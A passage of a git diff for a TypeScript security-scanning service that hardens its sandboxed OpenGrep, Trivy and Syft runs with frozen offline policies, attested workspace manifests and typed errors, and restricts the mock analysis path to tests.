completedPipeline = this.completedPipelines.get(pipelineKey); @@ -69,58 +78,78 @@ export class ScanPlaneService { } async runSandboxScanners( - input: RunSandboxScannersInput - ): Promise { - await this.assertScanScope(input); - const pipelineKey = `sandbox:${input.tenantId}:${input.scanRequestId}:${input.scannerSetVersion}`; - const completedPipeline = this.completedSandboxRuns.get(pipelineKey); - if (completedPipeline) { - return completedPipeline; - } - - const adapterInvocations = this.scannerSandboxAdapter.buildInvocations(input); - const scannerRuns = adapterInvocations.map((invocation) => ({ - id: `scanner_run_${randomUUID()}`, - tenantId: input.tenantId, - scanRequestId: input.scanRequestId, - scanner: invocation.scanner, - scannerVersion: this.scannerSandboxAdapter.scannerVersion( - invocation.scanner, - input.scannerSetVersion - ), - status: "COMPLETED" as const, - rawArtifactObjectKey: this.buildRawArtifactObjectKey( - input.tenantId, - input.scanRequestId, - invocation.scanner - ) - })); - const evidence = createEvidencePackMetadata({ - id: `evidence_${randomUUID()}`, - tenantId: input.tenantId, - scanRequestId: input.scanRequestId, - byteSize: 1024, - expiresAt: new Date(Date.now() + MAX_EVIDENCE_TTL_MS).toISOString(), - redacted: true - }); - - this.scannerRuns.push(...scannerRuns); - this.evidencePacks.push(evidence); - - const result = { - scannerRuns, - evidencePacks: [evidence], - adapterInvocations - }; - this.completedSandboxRuns.set(pipelineKey, result); - - return result; + input: SastScannerWrapperExecutionRequest + ): Promise { + return this.sastScannerRuntime.execute(input); } - listScannerRuns(tenantId: string, scanRequestId: string): ScannerRun[] { - return this.scannerRuns.filter( - (run) => run.tenantId === tenantId && run.scanRequestId === scanRequestId - ); + async listScannerRuns( + tenantId: string, + scanRequestId: string + ): Promise { + if (isMockAnalysisFixtureEnabled()) { + return this.scannerRuns + .filter( + (run) => + run.tenantId === tenantId && + run.scanRequestId === scanRequestId + ) + .map((run) => ({ + id: run.id, + tenantId: run.tenantId, + scanRequestId: run.scanRequestId, + scanner: run.scanner, + scannerVersion: run.scannerVersion, + status: run.status, + required: true, + scannerImageDigest: null, + wrapperDigest: null, + ruleBundleDigest: null, + databaseDigest: null, + scannerSetDigest: null, + profileId: null, + profileDigest: null, + exitCode: null, + terminationSignal: null, + timedOut: null, + outputLimitExceeded: null, + durationMilliseconds: null, + startedAt: null, + completedAt: null + })); + } + const scannerRuns = await this.prisma.scannerRun.findMany({ + where: { tenantId, scanRequestId }, + select: { + id: true, + tenantId: true, + scanRequestId: true, + scanner: true, + scannerVersion: true, + status: true, + required: true, + scannerImageDigest: true, + wrapperDigest: true, + ruleBundleDigest: true, + databaseDigest: true, + scannerSetDigest: true, + profileId: true, + profileDigest: true, + exitCode: true, + terminationSignal: true, + timedOut: true, + outputLimitExceeded: true, + durationMilliseconds: true, + startedAt: true, + completedAt: true + }, + orderBy: [{ startedAt: 'asc' }, { id: 'asc' }] + }); + return scannerRuns.map((run) => ({ + ...run, + startedAt: run.startedAt?.toISOString() ?? null, + completedAt: run.completedAt?.toISOString() ?? null + })); } listFindings(tenantId: string, scanRequestId: string): NormalizedFinding[] { diff --git a/apps/api/src/scan-plane/scan-plane.types.ts b/apps/api/src/scan-plane/scan-plane.types.ts index 38a902d..999547c 100644 --- a/apps/api/src/scan-plane/scan-plane.types.ts +++ b/apps/api/src/scan-plane/scan-plane.types.ts @@ -1,6 +1,5 @@ import type { EvidencePack, - IsolationClass, NormalizedFinding, ScannerRun, ScannerKind @@ -18,35 +17,31 @@ export interface MockScanPlaneRunResult { evidencePacks: EvidencePack[]; } -export type DeterministicScannerKind = Exclude; - -export interface RunSandboxScannersInput { +export interface ScannerRunView { + id: string; tenantId: string; scanRequestId: string; - scannerSetVersion: string; - workspaceRef: string; - isolationClass: IsolationClass; - timeoutSeconds: number; + scanner: ScannerKind; + scannerVersion: string; + status: + | ScannerRun['status'] + | 'QUARANTINED' + | 'KILLED'; + required: boolean | null; + scannerImageDigest: string | null; + wrapperDigest: string | null; + ruleBundleDigest: string | null; + databaseDigest: string | null; + scannerSetDigest: string | null; + profileId: string | null; + profileDigest: string | null; + exitCode: number | null; + terminationSignal: string | null; + timedOut: boolean | null; + outputLimitExceeded: boolean | null; + durationMilliseconds: number | null; + startedAt: string | null; + completedAt: string | null; } -export interface ScannerSandboxPolicy { - isolationClass: IsolationClass; - networkEgress: false; - readOnlyWorkspace: true; - packageInstallAllowed: false; - buildAllowed: false; - customerCodeExecutionAllowed: false; -} - -export interface ScannerAdapterInvocation { - scanner: DeterministicScannerKind; - command: string; - args: string[]; - sandbox: ScannerSandboxPolicy; -} - -export interface SandboxScannerExecutionResult { - scannerRuns: ScannerRun[]; - evidencePacks: EvidencePack[]; - adapterInvocations: ScannerAdapterInvocation[]; -} +export type DeterministicScannerKind = Exclude; diff --git a/apps/api/src/scan-plane/scanner-runtime.errors.ts b/apps/api/src/scan-plane/scanner-runtime.errors.ts new file mode 100644 index 0000000..55eac82 --- /dev/null +++ b/apps/api/src/scan-plane/scanner-runtime.errors.ts @@ -0,0 +1,74 @@ +import type { SastFailureClass } from '@aegisai/shared'; +import { HttpException, HttpStatus } from '@nestjs/common'; + +export class SastScannerRuntimeError extends HttpException { + constructor( + message: string, + readonly failureClass: SastFailureClass, + readonly reasonCode: string, + readonly retryAllowed: boolean + ) { + super( + { + message, + errorCode: reasonCode, + failureClass, + retryAllowed + }, + statusForFailureClass(failureClass) + ); + this.name = 'SastScannerRuntimeError'; + } +} + +export function securityViolation( + reasonCode: string, + message: string +): SastScannerRuntimeError { + return new SastScannerRuntimeError( + message, + 'SECURITY_VIOLATION', + reasonCode, + false + ); +} + +export function scannerDefect( + reasonCode: string, + message: string +): SastScannerRuntimeError { + return new SastScannerRuntimeError( + message, + 'SCANNER_DEFECT', + reasonCode, + false + ); +} + +export function retryableInfrastructureFailure( + reasonCode: string, + message: string +): SastScannerRuntimeError { + return new SastScannerRuntimeError( + message, + 'RETRYABLE_INFRASTRUCTURE', + reasonCode, + true + ); +} + +function statusForFailureClass(failureClass: SastFailureClass): HttpStatus { + if (failureClass === 'SECURITY_VIOLATION') { + return HttpStatus.FORBIDDEN; + } + if ( + failureClass === 'RETRYABLE_INFRASTRUCTURE' || + failureClass === 'CAPACITY_REJECTED' + ) { + return HttpStatus.SERVICE_UNAVAILABLE; + } + if (failureClass === 'SCANNER_DEFECT') { + return HttpStatus.BAD_GATEWAY; + } + return HttpStatus.UNPROCESSABLE_ENTITY; +} diff --git a/apps/api/src/scan-plane/scanner-sandbox-adapter.service.ts b/apps/api/src/scan-plane/scanner-sandbox-adapter.service.ts index e74c7d8..b6064b4 100644 --- a/apps/api/src/scan-plane/scanner-sandbox-adapter.service.ts +++ b/apps/api/src/scan-plane/scanner-sandbox-adapter.service.ts @@ -1,51 +1,330 @@ -import { Injectable } from "@nestjs/common"; +import { + SAST_SCANNER_ASSET_ROOT, + SAST_SCANNER_OUTPUT_ROOT, + SAST_SCANNER_SELECTED_WORKSPACE_ROOT, + SAST_SCANNER_WORKING_DIRECTORY, + SAST_SCANNER_WORKSPACE_ROOT, + SAST_SCANNER_WRAPPER_SCHEMA_VERSION, + isSastScannerInvocationBoundToPlan, + isSastScannerWrapperExecutionRequestValid, + scannerRuntimeLimits, + type RuleBundleDescriptor, + type SastSandboxRuntimePolicy, + type SastScannerInvocation, + type SastScannerKind, + type SastScannerWrapperExecutionRequest, + type SastScanPlan +} from '@aegisai/shared'; +import { BadRequestException, Injectable } from '@nestjs/common'; -import type { - DeterministicScannerKind, - RunSandboxScannersInput, - ScannerAdapterInvocation, - ScannerSandboxPolicy -} from "./scan-plane.types"; +const SCANNER_BINARIES: Readonly> = + Object.freeze({ + OPENGREP: '/opt/aegis/scanners/opengrep', + TRIVY: '/opt/aegis/scanners/trivy', + SYFT: '/opt/aegis/scanners/syft' + }); + +const COMMON_ENVIRONMENT: Readonly> = Object.freeze({ + HOME: '/nonexistent', + LANG: 'C.UTF-8', + LC_ALL: 'C.UTF-8', + NO_COLOR: '1', + TMPDIR: `${SAST_SCANNER_OUTPUT_ROOT}/tmp`, + TZ: 'UTC', + XDG_CONFIG_HOME: '/nonexistent' +}); @Injectable() export class ScannerSandboxAdapterService { - buildInvocations(input: RunSandboxScannersInput): ScannerAdapterInvocation[] { - const sandbox = this.buildSandboxPolicy(input); - - return [ - { - scanner: "OPENGREP", - command: "opengrep", - args: ["--json", "--timeout", String(input.timeoutSeconds), input.workspaceRef], - sandbox - }, - { - scanner: "TRIVY", - command: "trivy", - args: ["fs", "--format", "json", "--timeout", `${input.timeoutSeconds}s`, input.workspaceRef], - sandbox - }, - { - scanner: "SYFT", - command: "syft", - args: [input.workspaceRef, "-o", "json"], - sandbox - } - ]; + buildPolicy(plan: SastScanPlan): SastSandboxRuntimePolicy { + return this.deepFreeze({ + sandboxProvider: 'MICROVM', + isolationClass: plan.isolationClass, + runAsNonRoot: true, + readOnlyRootFilesystem: true, + readOnlyRepository: true, + privateWritableOutput: true, + shellInterpolationAllowed: false, + customerEnvironmentAllowed: false, + customerExecutableConfigAllowed: false, + customerSuppressionConfigAllowed: false, + repositoryToolConfigDiscoveryAllowed: false, + packageInstallAllowed: false, + repositoryBuildAllowed: false, + dynamicExecutionAllowed: false, + runtimeAssetUpdateAllowed: false, + publicInternetEgressAllowed: false, + cloudMetadataAccessAllowed: false, + networkEgressPolicy: 'RESULT_INGRESS_AND_TELEMETRY_ONLY', + resourceLimits: scannerRuntimeLimits(plan.profile.limits) + }); } - scannerVersion(scanner: DeterministicScannerKind, scannerSetVersion: string): string { - return `${scanner.toLowerCase()}-${scannerSetVersion}`; + buildInvocations( + request: SastScannerWrapperExecutionRequest + ): SastScannerInvocation[] { + if (!isSastScannerWrapperExecutionRequestValid(request)) { + throw new BadRequestException( + 'Scanner wrapper request is not bound to an approved immutable plan.' + ); + } + + const policy = this.buildPolicy(request.plan); + return request.plan.profile.requiredScanners.map((scanner) => { + const invocation = this.buildInvocation( + scanner, + request.plan, + policy, + request.preflight + ); + if ( + !isSastScannerInvocationBoundToPlan( + invocation, + request.plan, + request.preflight + ) + ) { + throw new BadRequestException( + `Generated ${scanner} invocation is not bound to the immutable plan.` + ); + } + return this.deepFreeze(invocation); + }); } - private buildSandboxPolicy(input: RunSandboxScannersInput): ScannerSandboxPolicy { + private buildInvocation( + scanner: SastScannerKind, + plan: SastScanPlan, + policy: SastSandboxRuntimePolicy, + preflight: SastScannerWrapperExecutionRequest['preflight'] + ): SastScannerInvocation { + const descriptor = plan.scannerSet.scanners[scanner]; + const ruleBundle = + scanner === 'SYFT' + ? undefined + : this.requiredRuleBundle(plan, scanner); + const outputPath = this.outputPath(scanner); + const scannerInputPath = this.scannerInputPath(plan, preflight); + return { - isolationClass: input.isolationClass, - networkEgress: false, - readOnlyWorkspace: true, - packageInstallAllowed: false, - buildAllowed: false, - customerCodeExecutionAllowed: false + wrapperSchemaVersion: SAST_SCANNER_WRAPPER_SCHEMA_VERSION, + scanner, + required: true, + executable: SCANNER_BINARIES[scanner], + args: this.argumentsFor( + scanner, + plan, + ruleBundle, + outputPath, + scannerInputPath + ), + environment: this.environmentFor(scanner, plan), + workingDirectory: SAST_SCANNER_WORKING_DIRECTORY, + scannerInputPath, + outputPath, + artifactSchema: + scanner === 'OPENGREP' + ? 'OPENGREP_SARIF' + : scanner === 'TRIVY' + ? 'TRIVY_JSON' + : 'CYCLONEDX_JSON', + artifactSchemaVersion: plan.scannerSet.schemaBundle.digest, + scannerVersion: descriptor.version, + scannerImageDigest: descriptor.digest, + wrapperDigest: descriptor.wrapper.digest, + ruleBundleDigest: ruleBundle?.digest, + vulnerabilityDatabaseDigest: + scanner === 'TRIVY' + ? plan.scannerSet.vulnerabilityDatabase.digest + : undefined, + scannerSetDigest: plan.scannerSet.scannerSetDigest, + profileId: plan.profile.id, + profileDigest: plan.profileDigest, + preflightAttestationRef: preflight.attestationRef, + preflightInventoryDigest: preflight.inventoryDigest, + sandboxPolicy: policy }; } + + private argumentsFor( + scanner: SastScannerKind, + plan: SastScanPlan, + ruleBundle: RuleBundleDescriptor | undefined, + outputPath: string, + scannerInputPath: string + ): readonly string[] { + if (scanner === 'OPENGREP') { + return Object.freeze([ + 'scan', + '-f', + this.ruleAssetPath('opengrep', ruleBundle!), + `--sarif-output=${outputPath}`, + '--no-autofix', + '--disable-nosem', + '--no-git-ignore', + '--x-ignore-semgrepignore-files', + '--disable-version-check', + '--strict', + '--jobs=1', + `--max-memory=${plan.profile.limits.memoryMiB}`, + `--max-target-bytes=${plan.profile.limits.maxSingleFileBytes}`, + scannerInputPath + ]); + } + + if (scanner === 'TRIVY') { + const cachePath = [ + SAST_SCANNER_ASSET_ROOT, + 'trivy', + this.digestId(plan.scannerSet.vulnerabilityDatabase.digest), + this.digestId(ruleBundle!.digest) + ].join('/'); + const wrapperAssetRoot = this.wrapperAssetRoot( + scanner, + plan.scannerSet.scanners.TRIVY.wrapper.digest + ); + return Object.freeze([ + 'filesystem', + '--config', + `${wrapperAssetRoot}/config.yaml`, + '--format', + 'json', + '--output', + outputPath, + '--scanners', + 'vuln,misconfig,secret', + '--cache-dir', + cachePath, + '--ignorefile', + `${wrapperAssetRoot}/empty.trivyignore`, + '--secret-config', + `${SAST_SCANNER_ASSET_ROOT}/rules/trivy/${this.digestId( + ruleBundle!.digest + )}/secret.yaml`, + '--show-suppressed', + '--timeout', + `${plan.profile.limits.wallClockTimeoutSeconds}s`, + '--parallel', + '1', + '--quiet', + '--no-progress', + '--offline-scan', + '--skip-db-update', + '--skip-java-db-update', + '--skip-check-update', + '--skip-vex-repo-update', + '--disable-telemetry', + '--skip-version-check', + scannerInputPath + ]); + } + + const wrapperAssetRoot = this.wrapperAssetRoot( + scanner, + plan.scannerSet.scanners.SYFT.wrapper.digest + ); + return Object.freeze([ + `dir:${scannerInputPath}`, + '--config', + `${wrapperAssetRoot}/config.yaml`, + '--output', + `cyclonedx-json=${outputPath}` + ]); + } + + private environmentFor( + scanner: SastScannerKind, + plan: SastScanPlan + ): Readonly> { + if (scanner !== 'SYFT') { + return COMMON_ENVIRONMENT; + } + + return Object.freeze({ + ...COMMON_ENVIRONMENT, + SYFT_CHECK_FOR_APP_UPDATE: 'false', + SYFT_GOLANG_SEARCH_LOCAL_MOD_CACHE_LICENSES: 'false', + SYFT_GOLANG_SEARCH_REMOTE_LICENSES: 'false', + SYFT_GOLANG_USE_PACKAGES_LIB: 'false', + SYFT_JAVA_USE_NETWORK: 'false', + SYFT_JAVA_USE_MAVEN_LOCAL_REPOSITORY: 'false', + SYFT_JAVASCRIPT_SEARCH_REMOTE_LICENSES: 'false', + SYFT_LICENSE_CONTENT: 'none', + SYFT_LOG_QUIET: 'true', + SYFT_PACKAGE_SEARCH_INDEXED_ARCHIVES: 'false', + SYFT_PACKAGE_SEARCH_UNINDEXED_ARCHIVES: 'false', + SYFT_PARALLELISM: '1', + SYFT_PYTHON_SEARCH_REMOTE_LICENSES: 'false', + SYFT_FILE_CONTENT_SKIP_FILES_ABOVE_SIZE: + String(plan.profile.limits.maxSingleFileBytes) + }); + } + + private scannerInputPath( + plan: SastScanPlan, + preflight: SastScannerWrapperExecutionRequest['preflight'] + ): string { + return plan.profile.scope === 'CHANGED_FILES_WITH_CONTEXT' + ? `${SAST_SCANNER_SELECTED_WORKSPACE_ROOT}/${this.digestId( + preflight.inventoryDigest + )}` + : SAST_SCANNER_WORKSPACE_ROOT; + } + + private requiredRuleBundle( + plan: SastScanPlan, + scanner: Exclude + ): RuleBundleDescriptor { + const bundles = plan.scannerSet.ruleBundles.filter( + (bundle) => bundle.scanner === scanner + ); + if (bundles.length !== 1) { + throw new BadRequestException( + `${scanner} requires exactly one immutable rule bundle.` + ); + } + return bundles[0]; + } + + private ruleAssetPath( + scanner: 'opengrep', + bundle: RuleBundleDescriptor + ): string { + return `${SAST_SCANNER_ASSET_ROOT}/rules/${scanner}/${this.digestId( + bundle.digest + )}`; + } + + private outputPath(scanner: SastScannerKind): string { + if (scanner === 'OPENGREP') { + return `${SAST_SCANNER_OUTPUT_ROOT}/opengrep.sarif`; + } + if (scanner === 'TRIVY') { + return `${SAST_SCANNER_OUTPUT_ROOT}/trivy.json`; + } + return `${SAST_SCANNER_OUTPUT_ROOT}/syft.cdx.json`; + } + + private digestId(digest: `sha256:${string}`): string { + return digest.slice('sha256:'.length); + } + + private wrapperAssetRoot( + scanner: SastScannerKind, + wrapperDigest: `sha256:${string}` + ): string { + return `${SAST_SCANNER_ASSET_ROOT}/wrappers/${scanner.toLowerCase()}/${this.digestId( + wrapperDigest + )}`; + } + + private deepFreeze(value: T): T { + if (value && typeof value === 'object' && !Object.isFrozen(value)) { + for (const nested of Object.values(value)) { + this.deepFreeze(nested); + } + Object.freeze(value); + } + return value; + } } diff --git a/apps/api/src/scan-plane/scanner-sandbox-runtime.provider.ts b/apps/api/src/scan-plane/scanner-sandbox-runtime.provider.ts new file mode 100644 index 0000000..35c1563 --- /dev/null +++ b/apps/api/src/scan-plane/scanner-sandbox-runtime.provider.ts @@ -0,0 +1,61 @@ +import type { + SastScannerInvocation, + SastScannerProcessObservation, + SastScannerRepositoryManifest, + SastScannerWrapperExecutionRequest, + SastSignedSandboxCleanupObservation +} from '@aegisai/shared'; +import { Injectable } from '@nestjs/common'; + +import { retryableInfrastructureFailure } from './scanner-runtime.errors'; + +export interface ScannerSandboxRuntimeOperation { + request: Readonly; + invocation: Readonly; + attemptDeadlineAt: string; + signal: AbortSignal; +} + +export interface ScannerSandboxCleanupOperation { + request: Readonly; + cleanupDeadlineAt: string; + signal: AbortSignal; +} + +export abstract class ScannerSandboxRuntimeProvider { + abstract readRepositoryManifest( + operation: ScannerSandboxRuntimeOperation + ): Promise; + + abstract executeScanner( + operation: ScannerSandboxRuntimeOperation + ): Promise; + + abstract cleanup( + operation: ScannerSandboxCleanupOperation + ): Promise; +} + +@Injectable() +export class UnavailableScannerSandboxRuntimeProvider + extends ScannerSandboxRuntimeProvider +{ + readRepositoryManifest(): Promise { + return Promise.reject(this.unavailable()); + } + + executeScanner(): Promise { + return Promise.reject(this.unavailable()); + } + + cleanup(): Promise { + return Promise.reject(this.unavailable()); + } + + private unavailable(): Error { + return retryableInfrastructureFailure( + 'SCANNER_SANDBOX_PROVIDER_UNAVAILABLE', + 'No live microVM scanner sandbox provider is installed.' + ); + } +} diff --git a/apps/api/src/scan-plane/scanner-workspace-manifest.service.ts b/apps/api/src/scan-plane/scanner-workspace-manifest.service.ts new file mode 100644 index 0000000..117c6c1 --- /dev/null +++ b/apps/api/src/scan-plane/scanner-workspace-manifest.service.ts @@ -0,0 +1,151 @@ +import { + isSastScannerWrapperExecutionRequestValid, + type SastRepositoryPreflightResult, + type SastScannerInvocation, + type SastScannerRepositoryManifest, + type SastScannerWrapperExecutionRequest +} from '@aegisai/shared'; +import { Injectable } from '@nestjs/common'; + +import { RepositoryPreflightAttestationService } from './repository-preflight-attestation.service'; +import { RepositoryPreflightService } from './repository-preflight.service'; +import { securityViolation } from './scanner-runtime.errors'; + +const MAX_MANIFEST_CLOCK_SKEW_MS = 5_000; +const MAX_MANIFEST_AGE_MS = 60_000; + +@Injectable() +export class ScannerWorkspaceManifestService { + constructor( + private readonly preflight: RepositoryPreflightService, + private readonly preflightAttestation: RepositoryPreflightAttestationService + ) {} + + verify( + request: SastScannerWrapperExecutionRequest, + invocation: SastScannerInvocation, + manifest: SastScannerRepositoryManifest, + now = new Date() + ): SastRepositoryPreflightResult { + if (!isSastScannerWrapperExecutionRequestValid(request)) { + throw securityViolation( + 'SCANNER_PLAN_BINDING_INVALID', + 'Scanner request is not bound to an immutable plan.' + ); + } + + if ( + !this.preflightAttestation.verify(request.preflight.attestationRef, { + attemptId: request.attemptId, + fixedCommitSha: request.plan.repositoryState.fixedCommitSha, + pathPolicyVersion: request.preflight.pathPolicyVersion, + inventoryDigest: request.preflight.inventoryDigest, + decision: request.preflight.decision + }) + ) { + throw securityViolation( + 'PREFLIGHT_ATTESTATION_INVALID', + 'Preflight attestation is missing, invalid, or stale for this attempt.' + ); + } + + const observedAt = + typeof manifest?.observedAt === 'string' + ? Date.parse(manifest.observedAt) + : Number.NaN; + if ( + !manifest || + !this.hasOnlyKeys(manifest, [ + 'entries', + 'observedAt', + 'scanner', + 'scannerInput', + 'selection', + 'source' + ]) || + manifest.scanner !== invocation.scanner || + manifest.source !== 'MICROVM_READ_ONLY_MOUNT' || + !Array.isArray(manifest.entries) || + !manifest.entries.every((entry) => + this.hasOnlyKeys(entry, [ + 'byteSize', + 'executable', + 'gitObjectId', + 'kind', + 'lfsPointer', + 'path', + 'pathEncodingValid', + 'symlinkTarget', + 'symlinkTargetEncodingValid' + ]) + ) || + !manifest.selection || + !this.hasOnlyKeys(manifest.selection, ['mode', 'paths']) || + !manifest.scannerInput || + !this.hasOnlyKeys(manifest.scannerInput, [ + 'mode', + 'path', + 'readOnly', + 'sourceInventoryDigest' + ]) || + manifest.scannerInput.path !== invocation.scannerInputPath || + manifest.scannerInput.sourceInventoryDigest !== + invocation.preflightInventoryDigest || + manifest.scannerInput.readOnly !== true || + (request.plan.profile.scope === 'CHANGED_FILES_WITH_CONTEXT' + ? manifest.selection.mode !== 'PATH_ALLOWLIST' || + manifest.scannerInput.mode !== 'CONTENT_BOUND_PATH_ALLOWLIST' + : manifest.selection.mode !== 'ALL_SCANNABLE' || + manifest.scannerInput.mode !== 'FULL_REPOSITORY') || + !Number.isFinite(observedAt) || + observedAt > now.getTime() + MAX_MANIFEST_CLOCK_SKEW_MS || + observedAt < now.getTime() - MAX_MANIFEST_AGE_MS + ) { + throw securityViolation( + 'SCANNER_WORKSPACE_MANIFEST_INVALID', + 'Scanner-visible workspace manifest is malformed or out of scope.' + ); + } + + let evaluated: SastRepositoryPreflightResult; + try { + evaluated = this.preflight.evaluate({ + attemptId: request.attemptId, + fixedCommitSha: request.plan.repositoryState.fixedCommitSha, + pathPolicyVersion: request.preflight.pathPolicyVersion, + pathPolicy: request.plan.profile.pathPolicy, + limits: request.plan.profile.limits, + sourceExtensions: request.plan.profile.sourceExtensions, + manifestNames: request.plan.profile.manifestNames, + selection: manifest.selection, + entries: manifest.entries + }); + } catch { + throw securityViolation( + 'SCANNER_WORKSPACE_REMANIFEST_FAILED', + 'Scanner-visible workspace could not be safely re-manifested.' + ); + } + + if ( + evaluated.inventoryDigest !== request.preflight.inventoryDigest || + evaluated.inventoryDigest !== invocation.preflightInventoryDigest || + evaluated.decision !== request.preflight.decision + ) { + throw securityViolation( + 'SCANNER_WORKSPACE_DIGEST_MISMATCH', + 'Scanner-visible workspace differs from the attested preflight inventory.' + ); + } + + return evaluated; + } + + private hasOnlyKeys(value: unknown, allowedKeys: readonly string[]): boolean { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return false; + } + const allowed = new Set(allowedKeys); + return Object.keys(value).every((key) => allowed.has(key)); + } +} diff --git a/apps/api/src/scan/scan.processor.ts b/apps/api/src/scan/scan.processor.ts index ec6d215..58345c3 100644 --- a/apps/api/src/scan/scan.processor.ts +++ b/apps/api/src/scan/scan.processor.ts @@ -4,6 +4,7 @@ import type { Provider } from '@aegisai/shared'; import { Prisma, ScanStatus } from '@prisma/client'; import type { Job } from 'bullmq'; +import { isMockAnalysisFixtureEnabled } from '../client/analysis/analysis-fixture.policy'; import { ANALYSIS_API_CLIENT } from '../client/analysis/analysis-api-client.interface'; import type { IAnalysisApiClient, @@ -32,6 +33,11 @@ export class ScanProcessor extends WorkerHost { } async process(job: Job): Promise { + if (!isMockAnalysisFixtureEnabled()) { + throw new Error( + 'LEGACY_ANALYSIS_DISABLED: use the attested Scan Plane runtime' + ); + } const scan = await this.prisma.scan.findUnique({ where: { id: job.data.scanId }, include: { connectedRepo: true } diff --git a/apps/api/src/scan/scan.service.ts b/apps/api/src/scan/scan.service.ts index 4ca1279..d5a6b07 100644 --- a/apps/api/src/scan/scan.service.ts +++ b/apps/api/src/scan/scan.service.ts @@ -24,6 +24,7 @@ import { GitProviderUnauthorizedError, GitProviderUnavailableError } from '../client/git/git-provider-client.errors'; +import { isMockAnalysisFixtureEnabled } from '../client/analysis/analysis-fixture.policy'; import { GitClientRegistry } from '../client/git/git-client.registry'; import { TokenCryptoUtil } from '../auth/utils/token-crypto.util'; import { PrismaService } from '../prisma/prisma.service'; @@ -53,6 +54,7 @@ export class ScanService { ) {} async createScan(input: CreateScanInput): Promise { + this.assertLegacyFixtureEnabled(); const branch = input.branch.trim(); if (!branch) { throw new BadRequestException({ @@ -285,6 +287,16 @@ export class ScanService { }); } + private assertLegacyFixtureEnabled(): void { + if (!isMockAnalysisFixtureEnabled()) { + throw new ServiceUnavailableException({ + message: + 'Legacy scan creation is disabled; use the production Scan Plane request flow.', + errorCode: 'LEGACY_ANALYSIS_DISABLED' + }); + } + } + private toScanSummary(scan: { id: string; branch: string; diff --git a/apps/api/test/client/analysis/analysis-api.module.e2e-spec.ts b/apps/api/test/client/analysis/analysis-api.module.e2e-spec.ts index d508946..0cf636f 100644 --- a/apps/api/test/client/analysis/analysis-api.module.e2e-spec.ts +++ b/apps/api/test/client/analysis/analysis-api.module.e2e-spec.ts @@ -1,15 +1,93 @@ import { Test } from '@nestjs/testing'; -import { AnalysisApiModule } from '../../../src/client/analysis/analysis-api.module'; +import { + AnalysisApiModule, + isMockAnalysisFixtureEnabled +} from '../../../src/client/analysis/analysis-api.module'; import { ANALYSIS_API_CLIENT } from '../../../src/client/analysis/analysis-api-client.interface'; +import { DisabledAnalysisApiClient } from '../../../src/client/analysis/disabled-analysis-api.client'; import { MockAnalysisApiClient } from '../../../src/client/analysis/mock-analysis-api.client'; describe('AnalysisApiModule', () => { - it('binds the analysis client token to MockAnalysisApiClient by default', async () => { + const previousNodeEnv = process.env.NODE_ENV; + const previousMode = process.env.ANALYSIS_CLIENT_MODE; + + afterAll(() => { + setEnvironment(previousNodeEnv, previousMode); + }); + + it('binds mock only for the explicit test/mock fixture mode', async () => { + setEnvironment('test', 'mock'); const moduleRef = await Test.createTestingModule({ imports: [AnalysisApiModule] }).compile(); - expect(moduleRef.get(ANALYSIS_API_CLIENT)).toBeInstanceOf(MockAnalysisApiClient); + expect(moduleRef.get(ANALYSIS_API_CLIENT)).toBeInstanceOf( + MockAnalysisApiClient + ); + }); + + it.each([ + { nodeEnv: 'test', mode: 'internal' }, + { nodeEnv: 'production', mode: 'mock' }, + { nodeEnv: 'development', mode: 'mock' } + ])( + 'binds the disabled client for $nodeEnv/$mode', + async ({ nodeEnv, mode }) => { + setEnvironment(nodeEnv, mode); + const moduleRef = await Test.createTestingModule({ + imports: [AnalysisApiModule] + }).compile(); + + expect(moduleRef.get(ANALYSIS_API_CLIENT)).toBeInstanceOf( + DisabledAnalysisApiClient + ); + } + ); + + it('evaluates the complete fixture routing matrix independently of inherited environment', () => { + expect( + isMockAnalysisFixtureEnabled({ + NODE_ENV: 'test', + ANALYSIS_CLIENT_MODE: 'internal' + }) + ).toBe(false); + expect( + isMockAnalysisFixtureEnabled({ + NODE_ENV: 'test', + ANALYSIS_CLIENT_MODE: 'mock' + }) + ).toBe(true); + }); + + it('rejects mock routing outside the test environment', () => { + expect( + isMockAnalysisFixtureEnabled({ + NODE_ENV: 'production', + ANALYSIS_CLIENT_MODE: 'mock' + }) + ).toBe(false); + expect( + isMockAnalysisFixtureEnabled({ + NODE_ENV: 'development', + ANALYSIS_CLIENT_MODE: 'mock' + }) + ).toBe(false); }); }); + +function setEnvironment( + nodeEnv: string | undefined, + mode: string | undefined +): void { + if (nodeEnv === undefined) { + delete process.env.NODE_ENV; + } else { + process.env.NODE_ENV = nodeEnv; + } + if (mode === undefined) { + delete process.env.ANALYSIS_CLIENT_MODE; + } else { + process.env.ANALYSIS_CLIENT_MODE = mode; + } +} diff --git a/apps/api/test/config/config.env-files.e2e-spec.ts b/apps/api/test/config/config.env-files.e2e-spec.ts index 3704b43..f86ad69 100644 --- a/apps/api/test/config/config.env-files.e2e-spec.ts +++ b/apps/api/test/config/config.env-files.e2e-spec.ts @@ -18,7 +18,8 @@ describe('Config environment files', () => { for (const key of [ 'TOKEN_ENCRYPTION_KEY', 'WORKLOAD_ATTESTATION_KEY', - 'PREFLIGHT_ATTESTATION_KEY' + 'PREFLIGHT_ATTESTATION_KEY', + 'SANDBOX_ATTESTATION_KEY' ]) { const keyLine = contents .split(/\r?\n/) @@ -48,7 +49,8 @@ describe('Config environment files', () => { FRONTEND_URL: 'http://localhost:5173', TOKEN_ENCRYPTION_KEY: 'c'.repeat(64), WORKLOAD_ATTESTATION_KEY: 'a'.repeat(64), - PREFLIGHT_ATTESTATION_KEY: 'b'.repeat(64) + PREFLIGHT_ATTESTATION_KEY: 'b'.repeat(64), + SANDBOX_ATTESTATION_KEY: 'd'.repeat(64) }; expect(ENVIRONMENT_VALIDATION_SCHEMA.validate(environment).error).toBeUndefined(); @@ -76,6 +78,52 @@ describe('Config environment files', () => { TOKEN_ENCRYPTION_KEY: environment.WORKLOAD_ATTESTATION_KEY.toUpperCase() }).error ).toBeDefined(); + for (const reusedKey of [ + 'TOKEN_ENCRYPTION_KEY', + 'WORKLOAD_ATTESTATION_KEY', + 'PREFLIGHT_ATTESTATION_KEY' + ] as const) { + expect( + ENVIRONMENT_VALIDATION_SCHEMA.validate({ + ...environment, + SANDBOX_ATTESTATION_KEY: environment[reusedKey] + }).error + ).toBeDefined(); + } + }); + + it('allows mock analysis only in the test environment', () => { + const base = { + DATABASE_URL: 'postgresql://postgres:postgres@localhost:5432/aegisai', + REDIS_URL: 'redis://localhost:6379', + SESSION_SECRET: 's'.repeat(32), + CSRF_SECRET: 'c'.repeat(32), + GITHUB_CLIENT_ID: 'github-client', + GITHUB_CLIENT_SECRET: 'github-secret', + GITLAB_CLIENT_ID: 